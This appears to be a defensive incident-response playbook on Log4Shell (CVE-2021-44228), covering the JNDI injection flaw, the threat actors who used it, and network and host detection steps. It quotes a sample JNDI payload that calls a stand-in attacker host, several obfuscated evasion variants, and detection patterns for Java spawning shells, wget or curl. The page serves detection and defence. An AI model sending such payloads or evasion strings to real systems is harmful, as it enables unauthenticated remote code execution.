PLAYBOOKSNETHOSTATTRIBDETECT
← all playbooks
EXPLOIT REFERENCE
Log4Shell (CVE-2021-44228)
A single string in a log message achieves unauthenticated remote code execution on any application using Apache Log4j 2.x. The vulnerability exists in a logging library embedded in hundreds of thousands of Java applications worldwide. You don't patch the application. You patch a dependency of a dependency.
CVE-2021-44228 · CVSS 10.0 · JNDI injection · unauthenticated RCE · Java / Log4j 2.x · mass exploitation within hours of disclosure
Why Log4Shell broke the internet

Apache Log4j is the default logging framework for Java. It is embedded in hundreds of thousands of applications: web servers, enterprise software, cloud services, embedded systems, and custom internal tools. Most development teams don't know which of their applications use Log4j because it's a transitive dependency: your application depends on a library that depends on Log4j.

The vulnerability: Log4j 2.x (versions 2.0-beta9 through 2.14.1) processes JNDI lookup strings embedded in log messages. An attacker sends ${jndi:ldap://attacker.com/payload} in any field that gets logged: a URL, a User-Agent header, a form field, a username, an HTTP referrer. When Log4j logs the string, it resolves the JNDI reference, connects to the attacker's LDAP/RMI server, downloads and executes a Java class. Unauthenticated RCE from a log message.

Mass exploitation began within hours of public disclosure on December 9, 2021. Nation-state actors (APT35/Charming Kitten, APT41, Lazarus, Aquatic Panda, Hafnium) and commodity actors exploited it simultaneously. CISA Director Easterly called it "the most serious vulnerability I have seen in my decades-long career."

The dependency problem. You can't grep your source code for "log4j" and call it done. Log4j is bundled inside JAR files, inside WAR files, inside Docker images, inside vendor appliances. The Java classpath may load it transitively through three layers of dependencies. Software composition analysis (SCA) tools, recursive JAR scanning, and runtime class-loading monitoring are required to find every instance. Organizations were still discovering vulnerable instances months after disclosure.
The CVE family
Detection
Network-based detection (primary for initial exploitation) Suricata: ET EXPLOIT Apache log4j RCE Attempt signatures (multiple SIDs)
Zeek: search http.log for ${jndi: patterns in URI, user_agent, referrer, and POST body fields
Arkime: search sessions for JNDI strings in HTTP headers and body content
Outbound: watch for connections from Java processes (java.exe, javaw.exe) to external LDAP (TCP 389/636) or RMI (TCP 1099) services. This is the callback.
Host-based detection (post-exploitation) Sysmon EID 1: java.exe or javaw.exe spawning cmd.exe, powershell.exe, bash, sh, wget, curl, or any interpreter
Sysmon EID 3: java process making outbound connections to unexpected LDAP/RMI endpoints
File system: new class files or JARs in temp directories written by the Java process
Linux: java spawning /bin/sh, /bin/bash, python, perl, wget, curl
  1. 1. Inventory every Log4j instance in your environment Use SCA tools, recursive JAR scanning (find / -name "log4j-core-*.jar" 2>/dev/null), and container image scanning. Check vendor appliances, COTS software, and cloud services. The instances you miss are the ones that get exploited. Version 2.17.1+ is the fully patched baseline. CISA Log4j scanner · Syft/Grype for container scanning · find + unzip -l for nested JARs
  2. 2. Search network telemetry for JNDI injection attempts Search Suricata alerts, Zeek http.log, and Arkime sessions for ${jndi: strings in any HTTP field. Attackers use obfuscation: ${${lower:j}ndi:, ${j${::-n}di:}, nested lookups, and URL encoding. Search for the base pattern and common evasion variants. NET: Suricata ET EXPLOIT log4j · Zeek http.log: URI + user_agent + host fields
  3. 3. Hunt for Java processes making outbound LDAP/RMI connections The exploitation callback: java.exe connects to an external LDAP server (TCP 389/636) or RMI server (TCP 1099) to fetch the malicious class. Any outbound LDAP from a Java application server to an external host is suspicious. Internal LDAP connections to known AD controllers are expected; external ones are not. Sysmon EID 3: java.exe to external TCP 389/636/1099 · Firewall/proxy logs
  4. 4. Hunt for post-exploitation: java spawning shells If exploitation succeeded: java.exe spawns cmd.exe, powershell.exe, bash, or sh. On Linux, watch for java spawning wget/curl (downloading second-stage payloads). This is the clearest indicator that the JNDI injection achieved code execution. HOST: Execution · Sysmon EID 1: ParentImage contains java
  5. 5. Check for cryptominer and webshell deployment Log4Shell was massively exploited for cryptominer deployment (XMRig) and webshell installation. Check for: new processes with high CPU utilization on Java application servers, connections to known mining pools, and new files in web application directories. C2 Beacon playbook · NET: C2
  6. 6. Verify WAF/proxy JNDI blocking rules are active Web application firewalls and reverse proxies should block requests containing JNDI lookup patterns. Verify the rules are active, cover obfuscation variants, and apply to all HTTP fields (not just the URL). Log4Shell payloads have been delivered via User-Agent, Referer, X-Forwarded-For, Accept-Language, and custom headers. WAF rule audit · Test with benign JNDI pattern to verify blocking
Who used Log4Shell

APT35 / Charming Kitten exploited Log4Shell within days of disclosure for enterprise network intrusion.
APT41 targeted US state government networks via Log4Shell in early 2022.
Lazarus used Log4Shell for initial access in VMware Horizon campaigns.
Aquatic Panda / Hafnium exploited it against research and academic institutions.
Commodity actors mass-deployed cryptominers, botnets (Mirai, Muhstik), and ransomware (Conti, Khonsari) via Log4Shell at unprecedented scale.

Related playbooks

Edge Device Compromised (many appliances embed Log4j)
Supply Chain Indicator (Log4j is the supply chain dependency problem)
C2 Beacon Found (post-Log4Shell implant detection)
EternalBlue (similar pattern: ubiquitous default component becomes universal attack surface)